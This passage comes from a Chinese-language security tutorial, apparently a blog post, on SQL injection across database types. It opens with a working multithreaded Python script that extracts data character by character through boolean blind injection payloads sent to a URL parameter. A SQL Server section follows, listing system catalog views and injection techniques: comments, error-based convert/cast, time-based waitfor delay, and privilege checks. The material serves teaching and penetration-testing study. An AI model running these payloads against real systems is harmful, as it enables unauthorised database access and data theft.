style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">        \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">None</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    lock</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threading</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Lock</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threading</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Event</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> test_char</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">is_set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            return</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        </span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        payload</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"admin' and substr((</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">),</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">position</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">,1)='</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">' -- \"</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        try</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            response</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">requests</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">url</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">params</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">name</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">payload</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">oracle</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> response</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">text</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                with</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> lock</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                    if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> is</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> None</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                        found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                        stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        except</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> requests</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">RequestException</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            pass</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    threads</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> ch </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> char</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        t</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threading</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Thread</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">test_char</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">args</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        threads</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">append</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">t</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        t</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">start</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> len</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threads</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">max_threads</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> t </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threads</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                t</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">join</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            threads</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">is_set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                break</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> t </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threads</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        t</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">join</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> is</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> not</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> None</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        result</span><span style=\"color:#999999;--shiki-dark:#666666\">+=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">请求结束</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        break</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/48.png\" class=\"\"></p>\n<h1 id=\"sql-servermssql\"><a class=\"anchor\" href=\"#sql-servermssql\">#</a> SQL server(MSSQL)</h1>\n<h2 id=\"数据库架构以及核心字段名-4\"><a class=\"anchor\" href=\"#数据库架构以及核心字段名-4\">#</a> 数据库架构以及核心字段名</h2>\n<p>SQLServer的对象层级为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>SQL Server Instance</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>Database</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>Schema</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>Table / View / Procedure / Function</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>Column / Row</span></span></code></pre>\n<p>例如：<code>Company.dbo.Users</code>表示：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>Company 数据库</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>dbo schema</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>Users 表</span></span></code></pre>\n<p>SQL Server里的<code>dbo</code>很常见，它是默认schema</p>\n<p>SQL Server里最重要的元数据入口有：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sys.*</span></span>\n<span class=\"line\"><span># 系统目录视图，SQL Server原生，信息最全</span></span>\n<span class=\"line\"><span>information_schema.*</span></span>\n<span class=\"line\"><span># SQL标准视图，跨数据库通用，但信息不如sys.*全</span></span></code></pre>\n<p><code>INFORMATION_SCHEMA</code>是一种独立于底层系统表的元数据视图，但它只表示对象元数据的一个子集；判断对象schema等更可靠的方式通常是查询<code>sys.objects</code>等系统目录视图。</p>\n<p><strong>核心字段</strong></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sys.databases</span></span>\n<span class=\"line\"><span># 存储SQL Server里面所有的SQL Server实例里的数据库</span></span>\n<span class=\"line\"><span>常用字段：</span></span>\n<span class=\"line\"><span>name</span></span>\n<span class=\"line\"><span># 数据库名</span></span>\n<span class=\"line\"><span>database_id</span></span>\n<span class=\"line\"><span># 数据库ID</span></span>\n<span class=\"line\"><span>create_date</span></span>\n<span class=\"line\"><span># 创建时间</span></span>\n<span class=\"line\"><span>compatibility_level</span></span>\n<span class=\"line\"><span># 兼容级别</span></span>\n<span class=\"line\"><span>collation_name</span></span>\n<span class=\"line\"><span># 排序规则</span></span>\n<span class=\"line\"><span>state_desc</span></span>\n<span class=\"line\"><span># 数据库状态</span></span>\n<span class=\"line\"><span>recovery_model_desc</span></span>\n<span class=\"line\"><span># 恢复模式</span></span></code></pre>\n<p><code>sys.databases</code>是数据库级元数据入口，用来列出SQL Server实例中的数据库</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sys.schemas</span></span>\n<span class=\"line\"><span># 存储当前数据库里面所有的schema</span></span>\n<span class=\"line\"><span>name</span></span>\n<span class=\"line\"><span># schema名</span></span>\n<span class=\"line\"><span>schema_id</span></span>\n<span class=\"line\"><span># schema ID</span></span>\n<span class=\"line\"><span>principal_id</span></span>\n<span class=\"line\"><span># schema拥有者ID</span></span></code></pre>\n<p>SQL Server的schema是对象的命名空间或容器，例如表、视图、过程和函数都可以属于某个schema</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sys.tables</span></span>\n<span class=\"line\"><span># 存储当前数据库里的用户表</span></span>\n<span class=\"line\"><span>name</span></span>\n<span class=\"line\"><span># 表名</span></span>\n<span class=\"line\"><span>object_id</span></span>\n<span class=\"line\"><span># 表对象ID</span></span>\n<span class=\"line\"><span>schema_id</span></span>\n<span class=\"line\"><span># 所属schema ID</span></span>\n<span class=\"line\"><span>create_date</span></span>\n<span class=\"line\"><span># 创建时间</span></span>\n<span class=\"line\"><span>modify_date</span></span>\n<span class=\"line\"><span># 修改时间</span></span>\n<span class=\"line\"><span>type</span></span>\n<span class=\"line\"><span># 对象类型，用户表通常继承自sys.objects</span></span>\n<span class=\"line\"><span>type_desc</span></span>\n<span class=\"line\"><span># 对象类型描述</span></span>\n<span class=\"line\"><span>is_ms_shipped</span></span>\n<span class=\"line\"><span># 是否系统对象</span></span>\n<span class=\"line\"><span>temporal_type_desc</span></span>\n<span class=\"line\"><span># 是否temporal table</span></span>\n<span class=\"line\"><span>max_column_id_used</span></span>\n<span class=\"line\"><span># 使用过的最大列ID</span></span></code></pre>\n<p><code>sys.tables</code>会为当前数据库中的每个用户表返回一行</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sys.columns</span></span>\n<span class=\"line\"><span># 存储表或视图的列信息</span></span>\n<span class=\"line\"><span>name</span></span>\n<span class=\"line\"><span># 字段名</span></span>\n<span class=\"line\"><span>object_id</span></span>\n<span class=\"line\"><span># 所属对象ID</span></span>\n<span class=\"line\"><span>column_id</span></span>\n<span class=\"line\"><span># 字段序号</span></span>\n<span class=\"line\"><span>system_type_id</span></span>\n<span class=\"line\"><span># 系统类型ID</span></span>\n<span class=\"line\"><span>user_type_id</span></span>\n<span class=\"line\"><span># 用户类型ID</span></span>\n<span class=\"line\"><span>max_length</span></span>\n<span class=\"line\"><span># 最大长度</span></span>\n<span class=\"line\"><span>precision</span></span>\n<span class=\"line\"><span># 精度</span></span>\n<span class=\"line\"><span>scale</span></span>\n<span class=\"line\"><span># 小数位</span></span>\n<span class=\"line\"><span>collation_name</span></span>\n<span class=\"line\"><span># 字符排列规则</span></span>\n<span class=\"line\"><span>is_nullable</span></span>\n<span class=\"line\"><span># 是否允许NULL</span></span>\n<span class=\"line\"><span>is_identity</span></span>\n<span class=\"line\"><span># 是否自增identity</span></span>\n<span class=\"line\"><span>is_computed</span></span>\n<span class=\"line\"><span># 是否计算列</span></span></code></pre>\n<p><code>sys.tables</code> 会为当前数据库中的每个用户表返回一行</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sys.objects</span></span>\n<span class=\"line\"><span># 当前数据库中几乎所有对象，可以用来查看表、视图、存储过程、函数、触发器等对象</span></span>\n<span class=\"line\"><span>常见对象类型(type)：</span></span>\n<span class=\"line\"><span>u:用户表</span></span>\n<span class=\"line\"><span>v:视图</span></span>\n<span class=\"line\"><span>p:SQL存储过程</span></span>\n<span class=\"line\"><span>FN:标量函数</span></span>\n<span class=\"line\"><span>IF:内联表值函数</span></span>\n<span class=\"line\"><span>TF:标志函数</span></span>\n<span class=\"line\"><span>TR:触发器</span></span>\n<span class=\"line\"><span>PK:主键约束</span></span>\n<span class=\"line\"><span>F:外键约束</span></span></code></pre>\n<p><code>sys.tables</code>、<code>sys.views</code>等目录视图会继承<code>sys.objects</code>的通用字段，目录视图之间存在base view和derived view的继承关系，例如<code>sys.tables</code>会返回表特有列以及<code>sys.objects</code>的列。</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sys.types</span></span>\n<span class=\"line\"><span># 把sys.columns里的user_type_id、system_type_id转换成可读类型名</span></span>\n<span class=\"line\"><span>name</span></span>\n<span class=\"line\"><span># 类型名，例如int,nvarchar</span></span>\n<span class=\"line\"><span>system_type_id</span></span>\n<span class=\"line\"><span># 系统类型ID</span></span>\n<span class=\"line\"><span>user_type_id</span></span>\n<span class=\"line\"><span># 用户类型ID</span></span>\n<span class=\"line\"><span>max_length</span></span>\n<span class=\"line\"><span># 最大长度</span></span>\n<span class=\"line\"><span>precision</span></span>\n<span class=\"line\"><span># 精度</span></span>\n<span class=\"line\"><span>scale</span></span>\n<span class=\"line\"><span># 小数位</span></span>\n<span class=\"line\"><span>is_user_defined</span></span>\n<span class=\"line\"><span># 是否用户自定义类型</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sys.indexs</span></span>\n<span class=\"line\"><span># 可以用来查看表上的索引</span></span>\n<span class=\"line\"><span>name</span></span>\n<span class=\"line\"><span># 索引名</span></span>\n<span class=\"line\"><span>object_id</span></span>\n<span class=\"line\"><span># 所属表ID</span></span>\n<span class=\"line\"><span>index_id</span></span>\n<span class=\"line\"><span># 索引ID</span></span>\n<span class=\"line\"><span>type_desc</span></span>\n<span class=\"line\"><span># 索引类型</span></span>\n<span class=\"line\"><span>is_unique</span></span>\n<span class=\"line\"><span># 是否唯一索引</span></span>\n<span class=\"line\"><span>is_primary_key</span></span>\n<span class=\"line\"><span># 是否主键索引</span></span>\n<span class=\"line\"><span>is_unique_constraint</span></span>\n<span class=\"line\"><span># 是否唯一约束</span></span></code></pre>\n<h2 id=\"注入相关符号与函数-2\"><a class=\"anchor\" href=\"#注入相关符号与函数-2\">#</a> 注入相关符号与函数</h2>\n<ul>\n<li>\n<p>注释符：<code>--</code>，单行注释；<code>/* */</code>，多行注释</p>\n</li>\n<li>\n<p>字符串拼接符：<code>+</code>，<code>a + b</code></p>\n</li>\n<li>\n<p><code>[]</code>：引用对象名：<code>select * from [users];</code></p>\n</li>\n<li>\n<p><code>.</code>：SQL Server里对象完整路径常见是<code>database.schema.table</code></p>\n</li>\n<li>\n<p><code>LIKE</code>：用于模糊匹配</p>\n</li>\n<li>\n<p><code>in</code>：判断是否在集合中</p>\n</li>\n<li>\n<p><code>is null / is not null</code>：判断空值</p>\n</li>\n<li>\n<p><code>db_name()</code>：当前数据库</p>\n</li>\n<li>\n<p><code>system_user</code>：当前登录用户</p>\n</li>\n<li>\n<p><code>user_name()</code>：当前数据库用户</p>\n</li>\n<li>\n<p><code>@@VERSION</code>：版本信息</p>\n</li>\n<li>\n<p><code>@@SERVERNAME</code>：服务器名</p>\n</li>\n<li>\n<p><code>len()</code>：获取字符串长度</p>\n</li>\n<li>\n<p><code>substring()</code>：截取字符串</p>\n</li>\n<li>\n<p><code>ascii()</code>：取字符的ASCII码</p>\n</li>\n<li>\n<p><code>lower()/upper()</code>：大小写转换</p>\n</li>\n<li>\n<p><code>char()</code>：通过ascii码转换为字符</p>\n</li>\n<li>\n<p><code>replace()</code>：替换字符串：<code>replace('abcabc','a','x') =&gt; xbcxbc</code></p>\n</li>\n<li>\n<p><code>concat()</code>：新版SQL Server支持<code>concat('a','b')</code>，也更常见<code>a + b</code></p>\n</li>\n<li>\n<p><code>convert()</code>：SQL报错注入中常用，<code>convert(int,'abc')</code></p>\n</li>\n<li>\n<p><code>cast()</code>：和<code>convert()</code>类似，<code>cast('abc' as int)</code></p>\n</li>\n<li>\n<p><code>top</code>：SQL Server里面没有LIMIT：<code>select top 1 name from sys.tables;</code></p>\n</li>\n<li>\n<p><code>offset fetch</code>：较新版本支持分页：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>ORDER BY name OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY</span></span></code></pre>\n</li>\n<li>\n<p><code>string_agg()</code>：可以实现多行合并</p>\n</li>\n<li>\n<p><code>waitfor delay</code>：可以用于时间盲注：<code>waitfor delay '0:0:5'</code>会延迟五秒</p>\n</li>\n<li>\n<p><code>if</code>：SQL Server支持<code>if(条件) 语句</code></p>\n</li>\n<li>\n<p><code>is_srvrolmember()</code>：判断是否属于服务器角色</p>\n</li>\n<li>\n<p><code>is_member()</code>：判断当前用户是否属于数据库角色</p>\n</li>\n<li>\n<p><code>has_perms_by_name()</code>：判断权限</p>\n</li>\n</ul>\n<h2 